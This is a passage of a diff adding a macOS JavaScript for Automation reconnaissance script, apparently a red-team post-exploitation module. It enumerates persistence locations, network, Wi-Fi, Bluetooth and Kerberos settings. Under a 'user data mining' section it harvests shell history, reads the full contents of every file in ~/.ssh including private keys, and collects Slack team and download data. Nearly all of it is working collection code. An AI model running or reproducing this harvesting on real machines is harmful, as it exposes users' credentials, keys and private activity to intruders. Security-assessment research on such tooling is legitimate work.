contents['LSHandlers'][i]['LSHandlerURLScheme'], + "handler": contents['LSHandlers'][i]['LSHandlerRoleAll'], + "viewer": contents['LSHandlers'][i]['LSHandlerRoleViewer']}); + } + else{ + output['LSHandlers_URLSchemes'].push({"ContentType": contents['LSHandlers'][i]['LSHandlerContentType'], + "handler": contents['LSHandlers'][i]['LSHandlerRoleAll'], + "viewer": contents['LSHandlers'][i]['LSHandlerRoleViewer']}); + } + } + } + if(json==false){ + output = "**************************************\n" + "*** Custom LaunchServices Handlers ***\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "Launch_Services"; + output = JSON.stringify(output, null, 1); + } + return output;} +function Universal_Access_Auth_Warning({help=false, json=false, user=""} = {}){ + // information on all apps that macOS has ever thrown the ‘some.app would like permission to control your computer + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + let currentUserPath = ""; if(user === ""){currentUserPath = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation;}else{currentUserPath = "/Users/" + user;} + if(!file_exists(currentUserPath + "/Library/Preferences/com.apple.universalaccessAuthWarning.plist")){ + if(json==false){ + return "**************************************\n" + "**** UniversalAccess Auth Warning ****\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "Universal_Access_Auth_Warning"}); + } + } + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile(currentUserPath + "/Library/Preferences/com.apple.universalaccessAuthWarning.plist"); + let contents = ObjC.deepUnwrap(dict); + if(contents != {}){ + output['Universal Access Auth Warning Applications'] = contents; + } + if(json==false){ + output = "**************************************\n" + "**** UniversalAccess Auth Warning ****\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "Universal_Access_Auth_Warning"; + output = JSON.stringify(output, null, 1); + } + return output;} +function Relaunch_At_Login({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + let currentUserPath = ""; if(user === ""){currentUserPath = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation;}else{currentUserPath = "/Users/" + user;} + let files = ObjC.deepUnwrap(fileManager.contentsOfDirectoryAtPathError(currentUserPath + "/Library/Preferences/ByHost", Ref())); + output['Relaunch Apps'] = []; + for(i in files){ + if(files[i].includes("com.apple.loginwindow") && files[i].endsWith(".plist")){ + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile(currentUserPath + "/Library/Preferences/ByHost/" + files[i]); + output['Relaunch Apps'] = ObjC.deepUnwrap(dict)['TALAppsToRelaunchAtLogin']; + break; + } + } + if(json==false){ + output = "**************************************\n" + "* Applications to Relaunch at Login *\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "Relaunch_At_Login"; + output = JSON.stringify(output, null, 1); + } + return output;} +function Login_Items({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + let currentUserPath = ""; if(user === ""){currentUserPath = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation;}else{currentUserPath = "/Users/" + user;} + if(!file_exists(currentUserPath + "/Library/Preferences/com.apple.loginitems.plist")){ + if(json==false){ + return "**************************************\n" + "************ Login Items ************\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "Login_Items"}); + } + } + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile(currentUserPath + "/Library/Preferences/com.apple.loginitems.plist"); + let contents = ObjC.deepUnwrap(dict); + if(contents != {}){ + output['Login_Items'] = contents; + } + if(json==false){ + output = "**************************************\n" + "************ Login Items ************\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "Login_Items"; + output = JSON.stringify(output, null, 1); + } + return output;} +function User_Dir_Hidden_Files_Folders({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = []; + let fileManager = $.NSFileManager.defaultManager; + let currentUserPath = ""; if(user === ""){currentUserPath = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation;}else{currentUserPath = "/Users/" + user;} + let files = ObjC.deepUnwrap(fileManager.contentsOfDirectoryAtPathError(currentUserPath, Ref())); + for(i in files){ + if(files[i][0] == "."){ + output.push(files[i]); + } + } + if(json==false){ + output = "**************************************\n" + "***** Hidden Files/Folders in ~ *****\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "User_Dir_Hidden_Files_Folders"; + output = JSON.stringify(output, null, 1); + } + return output;} +function User_Global_Preferences({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + let currentUserPath = ""; if(user === ""){currentUserPath = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation;}else{currentUserPath = "/Users/" + user;} + if(!file_exists(currentUserPath + "/Library/Preferences/.GlobalPreferences.plist")){ + if(json==false){ + return "**************************************\n" + "***** User's Global Preferences *****\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "User_Global_Preferences"}); + } + } + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile(currentUserPath + "/Library/Preferences/.GlobalPreferences.plist"); + let contents = ObjC.deepUnwrap(dict); + if(contents['NSPreferredWebServices'] !== undefined){ + output['Default Web Service'] = contents['NSPreferredWebServices']['NSWebServicesProviderWebSearch']['NSDefaultDisplayName'] + " - " + contents['NSPreferredWebServices']['NSWebServicesProviderWebSearch']['NSProviderIdentifier'] + } + output['Recent Places'] = contents['NSNavRecentPlaces']; + if(contents['com.apple.finder.SyncExtensions'] !== undefined){ + output['Finder Sync Extensions'] = Object.keys(contents['com.apple.finder.SyncExtensions']['dirMap']); + } + output['Show All Extensions'] = contents['AppleShowAllExtensions']; + if(json==false){ + output = "**************************************\n" + "***** User's Global Preferences *****\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "User_Global_Preferences"; + output = JSON.stringify(output, null, 1); + } + return output;} +function User_Launchagents({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + let currentUserPath = ""; if(user === ""){currentUserPath = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation;}else{currentUserPath = "/Users/" + user;} + let files = ObjC.deepUnwrap(fileManager.contentsOfDirectoryAtPathError(currentUserPath + "/Library/LaunchAgents/", Ref())); + for(i in files){ + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile(currentUserPath + "/Library/LaunchAgents/" + files[i]); + dict = ObjC.deepUnwrap(dict); + if(dict !== undefined && dict.hasOwnProperty('ProgramArguments')){ + dict['Program Attributes'] = get_permissions(dict['ProgramArguments'][0]); + program_dir = dict['ProgramArguments'][0].split("/"); + program_dir.pop(); + program_dir = "/" + program_dir.join("/"); + dict['Program Directory Attributes'] = get_permissions(program_dir); + } + else if(dict !== undefined && dict.hasOwnProperty('Program')){ + dict['Program Attributes'] = get_permissions(dict['Program']); + program_dir = dict['Program'].split("/"); + program_dir.pop(); + program_dir = "/" + program_dir.join("/"); + dict['Program Directory Attributes'] = get_permissions(program_dir); + } + output[files[i]] = dict; + + } + if(json==false){ + output = "**************************************\n" + "***** User's Launch Agents *****\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "User_Launchagents"; + output = JSON.stringify(output, null, 1); + } + return output;} +function User_Launchdaemons({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + let currentUserPath = ""; if(user === ""){currentUserPath = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation;}else{currentUserPath = "/Users/" + user;} + let files = ObjC.deepUnwrap(fileManager.contentsOfDirectoryAtPathError(currentUserPath + "/Library/LaunchDaemons/", Ref())); + for(i in files){ + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile(currentUserPath + "/Library/LaunchDaemons/" + files[i]); + dict = ObjC.deepUnwrap(dict); + if(dict != undefined && dict.hasOwnProperty('ProgramArguments') && dict['ProgramArguments'].length > 0){ + dict['Program Attributes'] = get_permissions(dict['ProgramArguments'][0]); + program_dir = dict['ProgramArguments'][0].split("/"); + program_dir.pop(); + program_dir = "/" + program_dir.join("/"); + dict['Program Directory Attributes'] = get_permissions(program_dir); + } + else if(dict !== undefined && dict.hasOwnProperty('Program')){ + dict['Program Attributes'] = get_permissions(dict['Program']); + program_dir = dict['Program'].split("/"); + program_dir.pop(); + program_dir = "/" + program_dir.join("/"); + dict['Program Directory Attributes'] = get_permissions(program_dir); + } + output[files[i]] = dict; + + } + if(json==false){ + output = "**************************************\n" + "***** User's Launch Daemons *****\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "User_Launchdaemons"; + output = JSON.stringify(output, null, 1); + } + return output;} +function System_Launchdaemons({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + let files = ObjC.deepUnwrap(fileManager.contentsOfDirectoryAtPathError("/Library/LaunchDaemons/", Ref())); + for(i in files){ + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile("/Library/LaunchDaemons/" + files[i]); + dict = ObjC.deepUnwrap(dict); + if(dict != undefined && dict.hasOwnProperty('ProgramArguments') && dict['ProgramArguments'].length > 0){ + dict['Program Attributes'] = get_permissions(dict['ProgramArguments'][0]); + program_dir = dict['ProgramArguments'][0].split("/"); + program_dir.pop(); + program_dir = "/" + program_dir.join("/"); + dict['Program Directory Attributes'] = get_permissions(program_dir); + } + else if(dict !== undefined && dict.hasOwnProperty('Program')){ + dict['Program Attributes'] = get_permissions(dict['Program']); + program_dir = dict['Program'].split("/"); + program_dir.pop(); + program_dir = program_dir.join("/"); + //console.log(program_dir); + dict['Program Directory Attributes'] = get_permissions(program_dir); + } + output[files[i]] = dict; + + } + if(json==false){ + output = "**************************************\n" + "***** System Launch Daemons *****\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "System_Launchdaemons"; + output = JSON.stringify(output, null, 1); + } + return output;} +function Installed_Software_Versions({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + if(!file_exists("/Library/Receipts/InstallHistory.plist")){ + if(json==false){ + return "**************************************\n" + "********** Software Verions *********\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "Installed_Software_Versions"}); + } + } + let dict = $.NSArray.alloc.initWithContentsOfFile("/Library/Receipts/InstallHistory.plist"); + let contents = ObjC.deepUnwrap(dict); + for(let i in contents){ + if(!output.hasOwnProperty(contents[i]['displayName'])){ + output[contents[i]['displayName']] = {}; + } + if(output[contents[i]['displayName']]['version'] == undefined || + output[contents[i]['displayName']]['version'] < contents[i]['displayVersion']){ + // update our information if we find a newer version listed + output[contents[i]['displayName']]['date'] = contents[i]['date']; + output[contents[i]['displayName']]['version'] = contents[i]['displayVersion']; + output[contents[i]['displayName']]['processName'] = contents[i]['processName']; + } + + } + if(json==false){ + output = "**************************************\n" + "********** Software Verions *********\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "Installed_Software_Versions"; + output = JSON.stringify(output, null, 1); + } + return output;} +// ----------- user data mining functions ------------- +function Unique_Bash_History_Sessions({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + let currentUserPath = ""; if(user === ""){currentUserPath = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation;}else{currentUserPath = "/Users/" + user;} + let files = ObjC.deepUnwrap(fileManager.contentsOfDirectoryAtPathError(currentUserPath + "/.bash_sessions/", Ref())); + let final_commands = new Set(); + for(i in files){ + let list = $.NSString.alloc.initWithContentsOfFileEncodingError(currentUserPath + "/.bash_sessions/" + files[i], $.NSUTF8StringEncoding, $()).js.split("\n"); + for(let j in list){ + final_commands.add(list[j]); + } + } + let list = $.NSString.alloc.initWithContentsOfFileEncodingError(currentUserPath + "/.bash_history", $.NSUTF8StringEncoding, $()).js; + if(list != undefined){ + list = list.split("\n"); + for(let j in list){ + final_commands.add(list[j]); + } + } + list = $.NSString.alloc.initWithContentsOfFileEncodingError(currentUserPath + "/.zsh_history", $.NSUTF8StringEncoding, $()).js; + if(list != undefined){ + list = list.split("\n"); + for(let j in list){ + final_commands.add(list[j]); + } + } + output['commands'] = Array.from(final_commands); + if(json==false){ + output = "**************************************\n" + "******* Unique Bash History *******\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "Unique_Bash_History_Sessions"; + output = JSON.stringify(output, null, 1); + } + return output;} +function SSH_Keys({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + let currentUserPath = ""; if(user === ""){currentUserPath = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation;}else{currentUserPath = "/Users/" + user;} + let files = ObjC.deepUnwrap(fileManager.contentsOfDirectoryAtPathError(currentUserPath + "/.ssh", Ref())); + for(i in files){ + let dict = $.NSString.alloc.initWithContentsOfFileEncodingError(currentUserPath + "/.ssh/" + files[i], $.NSUTF8StringEncoding, $()); + dict = ObjC.deepUnwrap(dict); + output[files[i]] = dict; + + } + if(json==false){ + output = "**************************************\n" + "********* SSH Key Files *********\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "SSH_Keys"; + output = JSON.stringify(output, null, 1); + } + return output;} +function Slack_Download_Cache_History({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + let currentUserPath = ""; if(user === ""){currentUserPath = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation;}else{currentUserPath = "/Users/" + user;} + if(!file_exists(currentUserPath + "/Library/Application Support/Slack/storage/slack-downloads")){ + if(json==false){ + return "**************************************\n" + "********* Slack Downloads *********\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "Slack_Download_Cache_History"}); + } + } + let dict = $.NSString.alloc.initWithContentsOfFileEncodingError(currentUserPath + "/Library/Application Support/Slack/storage/slack-downloads", $.NSUTF8StringEncoding, $()).js; + if(dict != "" && dict != undefined){ + dict = JSON.parse(dict); + team_keys = Object.keys(dict); + output['slack download cache history'] = []; + for(let team_key in team_keys){ + let file_keys = Object.keys(dict[team_keys[team_key]]); + for(let file_key in file_keys){ + output['slack download cache history'].push({"url":dict[team_keys[team_key]][file_keys[file_key]]['url'], "download path": dict[team_keys[team_key]][file_keys[file_key]]['downloadPath']}); + } + } + } + if(json==false){ + output = "**************************************\n" + "********* Slack Downloads *********\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "Slack_Download_Cache_History"; + output = JSON.stringify(output, null, 1); + } + return output;} +function Slack_Team_Information({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + let currentUserPath = ""; if(user === ""){currentUserPath = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation;}else{currentUserPath = "/Users/" + user;} + if(!file_exists(currentUserPath + "/Library/Application Support/Slack/storage/slack-teams")){ + if(json==false){ + return "**************************************\n" + "********* Slack Team Info *********\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "Slack_Team_Information"}); + } + } + let dict = $.NSString.alloc.initWithContentsOfFileEncodingError(currentUserPath + "/Library/Application Support/Slack/storage/slack-teams", $.NSUTF8StringEncoding, $()).js; + if(dict != "" && dict != undefined){ + dict = JSON.parse(dict); + keys = Object.keys(dict); + for(let key in keys){ + delete dict[keys[key]]['theme']; + delete dict[keys[key]]['icons']; + } + output['slack team information'] = dict; + } + if(json==false){ + output = "**************************************\n" + "********* Slack Team Info *********\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "Slack_Team_Information"; + output = JSON.stringify(output, null, 1); + } + return output;} +function Recent_Files({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + let currentUserPath = ""; if(user === ""){currentUserPath = fileManager.homeDirectoryForCurrentUser.fileSystemRepresentation;}else{currentUserPath = "/Users/" + user;} + output['Recent Applications'] = []; + if(!file_exists(currentUserPath + "/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.RecentApplications.sfl2")){ + if(json==false){ + return "**************************************\n" + "***** User's recent applications *****\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "Recent_Files"}); + } + } + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile(currentUserPath + "/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.RecentApplications.sfl2"); + let contents = ObjC.deepUnwrap(dict); + if(contents === undefined){ + if(json==false){ + return "**************************************\n" + "***** User's recent applications *****\n" + "**************************************\n" + "Blocked by TCC"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "Recent_Files"}); + } + } + for(let i = 0; i < contents['$objects'].length; i++){ + if(typeof contents['$objects'][i] == "string" && contents['$objects'][i].includes(".app")){ + output['Recent Applications'].push(contents['$objects'][i]); + } + } + if(json==false){ + output = "**************************************\n" + "***** User's recent applications *****\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "Recent_Files"; + output = JSON.stringify(output, null, 1); + } + return output;} +//------------ globally readable plists with interesting info ------------------ +function Firewall({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + if(!file_exists("/Library/Preferences/com.apple.alf.plist")){ + if(json==false){ + return "**************************************\n" + "******* Firewall Preferences *******\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "Firewall"}); + } + } + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile("/Library/Preferences/com.apple.alf.plist"); + let contents = ObjC.deepUnwrap(dict); + output['Global State'] = contents['globalstate']; + output['Stealth Enabled'] = contents['stealthenabled']; + output['Logging'] = contents['loggingenabled']; + dict = $.NSMutableDictionary.alloc.initWithContentsOfFile("/Library/Preferences/com.apple.ARDAgent.plist"); + output['ARDAgent'] = ObjC.deepUnwrap(dict); + dict = $.NSMutableDictionary.alloc.initWithContentsOfFile("/Library/Preferences/com.apple.RemoteDesktop.plist"); + output['RemoteDesktop'] = ObjC.deepUnwrap(dict); + dict = $.NSMutableDictionary.alloc.initWithContentsOfFile("/Library/Preferences/com.apple.RemoteManagement.plist"); + output['RemoteManagement'] = ObjC.deepUnwrap(dict); + dict = $.NSString.alloc.initWithContentsOfFile("/Library/Preferences/com.apple.VNCSettings.txt"); + output['VNCSettings'] = ObjC.deepUnwrap(dict); + if(json==false){ + output = "**************************************\n" + "******* Firewall Preferences *******\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "Firewall"; + output = JSON.stringify(output, null, 1); + } + return output;} +function Airport_Preferences({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + if(!file_exists("/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist")){ + if(json==false){ + return "**************************************\n" + "******** Airport Preferences ********\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "Airport_Preferences"}); + } + } + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile("/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist"); + let contents = ObjC.deepUnwrap(dict); + output['Known Networks'] = []; + let wifi_keys = Object.keys(contents['KnownNetworks']); + let hex_to_ssid = {}; + for(let i in wifi_keys){ + hex_to_ssid[wifi_keys[i]] = contents['KnownNetworks'][wifi_keys[i]]['SSIDString']; + } + for(let i in wifi_keys){ + let SSID = contents['KnownNetworks'][wifi_keys[i]]['SSIDString']; + let SecurityType = contents['KnownNetworks'][wifi_keys[i]]['SecurityType']; + let lastConnected = contents['KnownNetworks'][wifi_keys[i]]['LastConnected']; + let wasCaptive = contents['KnownNetworks'][wifi_keys[i]]['NetworkWasCaptive']; + let captiveBypass = contents['KnownNetworks'][wifi_keys[i]]['CaptiveBypass']; + let collocatedGroup = []; + for(let j = 0; j < contents['KnownNetworks'][wifi_keys[i]]['CollocatedGroup'].length; j++){ + collocatedGroup.push(hex_to_ssid[contents['KnownNetworks'][wifi_keys[i]]['CollocatedGroup'][j]]); + } + output['Known Networks'].push({"SSID": SSID, "Security": SecurityType, "Last Connection": lastConnected, + "Was Captive": wasCaptive, "Captive Bypass": captiveBypass, + "Nearby Networks": collocatedGroup}) + } + if(json==false){ + output = "**************************************\n" + "******** Airport Preferences ********\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "Airport_Preferences"; + output = JSON.stringify(output, null, 1); + } + return output;} +function SMB_Server({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + if(!file_exists("/Library/Preferences/SystemConfiguration/com.apple.smb.server.plist")){ + if(json==false){ + return "**************************************\n" + "******* SMB Server Preferences *******\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "SMB_Server"}); + } + } + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile("/Library/Preferences/SystemConfiguration/com.apple.smb.server.plist"); + let contents = ObjC.deepUnwrap(dict); + output['Local Kerberos Realm'] = contents['LocalKerberosRealm']; + output['NETBIOS Name'] = contents['NetBIOSName']; + output['Server Description'] = contents['ServerDescription']; + if(json==false){ + output = "**************************************\n" + "******* SMB Server Preferences *******\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "SMB_Server"; + output = JSON.stringify(output, null, 1); + } + return output;} +function WiFi_Messages({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + if(!file_exists("/Library/Preferences/SystemConfiguration/com.apple.wifi.message-tracer.plist")){ + if(json==false){ + return "**************************************\n" + "********* WiFi Associations *********\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "WiFi_Messages"}); + } + } + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile("/Library/Preferences/SystemConfiguration/com.apple.wifi.message-tracer.plist"); + let contents = ObjC.deepUnwrap(dict); + if(contents != undefined){ + let associationKeys = Object.keys(contents['AssociationSSIDMap']); + output['Association SSIDs'] = []; + for(let i in associationKeys){ + let condensed = associationKeys[i].replace(/ /g, ''); + condensed = condensed.substring(1, condensed.length-1) + output['Association SSIDs'].push(hex2a(condensed)); + } + associationKeys = Object.keys(contents['InternalAssociationSSIDMap']); + output['InternalAssociation SSIDs'] = []; + for(let i in associationKeys){ + let condensed = associationKeys[i].replace(/ /g, ''); + condensed = condensed.substring(1, condensed.length-1) + output['InternalAssociation SSIDs'].push(hex2a(condensed)); + } + if(json==false){ + output = "**************************************\n" + "********* WiFi Associations *********\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "WiFi_Messages"; + output = JSON.stringify(output, null, 1); + } + + } + return output;} +function Network_Interfaces({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + if(!file_exists("/Library/Preferences/SystemConfiguration/NetworkInterfaces.plist")){ + if(json==false){ + return "**************************************\n" + "********* Network Interfaces *********\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "Network_Interfaces"}); + } + } + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile("/Library/Preferences/SystemConfiguration/NetworkInterfaces.plist"); + let contents = ObjC.deepUnwrap(dict); + output['Network Interfaces'] = {}; + for(let i = 0; i < contents['Interfaces'].length; i++){ + output['Network Interfaces'][contents['Interfaces'][i]['BSD Name']] = {}; + output['Network Interfaces'][contents['Interfaces'][i]['BSD Name']]['Active'] = contents['Interfaces'][i]['Active']; + output['Network Interfaces'][contents['Interfaces'][i]['BSD Name']]['Built In'] = contents['Interfaces'][i]['IOBuiltin']; + output['Network Interfaces'][contents['Interfaces'][i]['BSD Name']]['Network Type'] = contents['Interfaces'][i]['SCNetworkInterfaceType']; + output['Network Interfaces'][contents['Interfaces'][i]['BSD Name']]['Info'] = contents['Interfaces'][i]['SCNetworkInterfaceInfo']; + } + if(json==false){ + output = "**************************************\n" + "********* Network Interfaces *********\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "Network_Interfaces"; + output = JSON.stringify(output, null, 1); + } + return output;} +function Bluetooth_Connections({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + if(!file_exists("/Library/Preferences/com.apple.Bluetooth.plist")){ + if(json==false){ + return "**************************************\n" + "******* Bluetooth Connections *******\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "Bluetooth_Connections"}); + } + } + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile("/Library/Preferences/com.apple.Bluetooth.plist"); + let contents = ObjC.deepUnwrap(dict); + if(contents != undefined && contents.hasOwnProperty('DeviceCache')){ + let Bluetooth_Keys = Object.keys(contents['DeviceCache']); + let string_to_name = {}; + for(let i in Bluetooth_Keys){ + string_to_name[Bluetooth_Keys[i]] = contents['DeviceCache'][Bluetooth_Keys[i]]['Name']; + } + output['Device Cache'] = []; + for(let i in Bluetooth_Keys){ + let ClassOfDevice = undefined; + if(contents['DeviceCache'][Bluetooth_Keys[i]].hasOwnProperty('ClassOfDevice')){ + ClassOfDevice = contents['DeviceCache'][Bluetooth_Keys[i]]['ClassOfDevice'].toString(16); + } + let displayName = contents['DeviceCache'][Bluetooth_Keys[i]]['displayName']; + let name = contents['DeviceCache'][Bluetooth_Keys[i]]['Name']; + let lastConnected = contents['DeviceCache'][Bluetooth_Keys[i]]['LastInquiryUpdate']; + let lastNameUpdate = contents['DeviceCache'][Bluetooth_Keys[i]]['LastNameUpdate']; + output['Device Cache'].push({"Name": name, "Class of Device": ClassOfDevice, "Last Connected": lastConnected, "Last Updated": lastNameUpdate, "Display Name": displayName}) + } + output['Currently Paired Devices'] = []; + if(contents.hasOwnProperty('PairedDevices')){ + for(let i = 0; i < contents['PairedDevices'].length; i++){ + output['Currently Paired Devices'].push(string_to_name[contents['PairedDevices'][i]]); + } + } + } + if(json==false){ + output = "**************************************\n" + "******* Bluetooth Connections *******\n" + "**************************************\n" + "Convert Class of Device with: http://domoticx.com/bluetooth-class-of-device-list-cod/\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "Bluetooth_Connections"; + output = JSON.stringify(output, null, 1); + } + return output;} +function OS_Version({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + if(!file_exists("/System/Library/CoreServices/SystemVersion.plist")){ + if(json==false){ + return "**************************************\n" + "********** OS Version Info **********\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "OS_Version"}); + } + } + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile("/System/Library/CoreServices/SystemVersion.plist"); + output = ObjC.deepUnwrap(dict); + dict = $.NSMutableDictionary.alloc.initWithContentsOfFile("/Library/Preferences/com.apple.SoftwareUpdate.plist"); + output['SoftwareUpdate'] = ObjC.deepUnwrap(dict); + if(json==false){ + output = "**************************************\n" + "********** OS Version Info **********\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "OS_Version"; + output = JSON.stringify(output, null, 1); + } + + return output;} +function Krb5_AD_Config({help=false, json=false, user=""}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + if(!file_exists("/etc/krb5.conf")){ + if(json==false){ + return "**************************************\n" + "********** AD Config **********\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "Krb5_AD_Config"}); + } + } + let dict = $.NSString.alloc.initWithContentsOfFileEncodingError("/etc/krb5.conf", $.NSUTF8StringEncoding, $()); + output = {"config": dict}; + if(json==false){ + output = "**************************************\n" + "********** AD Config **********\n" + "**************************************\n" + JSON.stringify(output, null , 1); + }else{ + output['HealthInspectorCommand'] = "Krb5_AD_Config"; + output = JSON.stringify(output, null, 1); + } + + return output;} +function Krb5_AD_Logging({help=false, json=false, user=""} = {}){ + if(help){ + let output = ""; + return output; + } + let output = {}; + let fileManager = $.NSFileManager.defaultManager; + if(!file_exists("/Library/Preferences/com.apple.Kerberos.plist")){ + if(json==false){ + return "**************************************\n" + "********** Krb5 Logging **********\n" + "**************************************\n" + "Required file not found"; + }else{ + return JSON.stringify({"HealthInspectorCommand": "Krb5_AD_Logging"}); + } + } + let dict = $.NSMutableDictionary.alloc.initWithContentsOfFile("/Library/Preferences/com.apple.Kerberos.plist"); + output = ObjC.deepUnwrap(dict); + if(json==false){ + output = "**************************************\n" + 